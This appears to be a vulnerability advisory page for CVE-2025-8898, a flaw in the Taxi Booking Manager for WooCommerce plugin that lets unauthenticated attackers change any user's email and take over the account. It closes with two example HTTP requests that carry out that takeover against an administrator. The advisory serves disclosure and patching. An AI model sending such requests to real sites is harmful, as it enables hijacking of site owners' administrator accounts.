Overview
CVE-2025-8898 represents a critical vulnerability within the Taxi Booking Manager for Woocommerce, a popular WordPress plugin. This plugin is used to manage taxi bookings and is an essential tool for many taxi companies that use WordPress for their online presence. The vulnerability allows unauthenticated users to escalate their privileges by taking over any account, including those of administrators. This can lead to potential system compromise or data leakage, making it a severe threat to the security of any website using this plugin.
This vulnerability affects all versions of the plugin up to and including 1.3.0, making a significant number of websites potentially at risk. Due to the high severity of this vulnerability, it is crucial for administrators to implement the vendor’s patch as soon as possible to mitigate the risk.
Vulnerability Summary
CVE ID: CVE-2025-8898
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Taxi Booking Manager for Woocommerce | Up to and including 1.3.0
How the Exploit Works
The exploit takes advantage of the plugin’s failure to validate a user’s capabilities before updating a plugin setting or validating their identity before updating user details. This allows unauthenticated attackers to change arbitrary user’s email addresses, including those of administrators. Once an attacker has changed the email address, they can then use the password reset feature to gain access to the account, effectively taking over the account and all its associated privileges.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. This example assumes the attacker knows the target user’s username:
POST /wp-json/tbm/v1/updateuserdetails HTTP/1.1
Host: victimwebsite.com
Content-Type: application/json
{
"username": "admin",
"email": "attacker@email.com"
}
After successfully changing the email, the attacker can then initiate a password reset:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: victimwebsite.com
Content-Type: application/x-www-form-urlencoded
user_login=admin&redirect_to=&wp-submit=Get+New+Password
These requests would allow an attacker to take over the administrator’s account, leading to a potentially severe system compromise.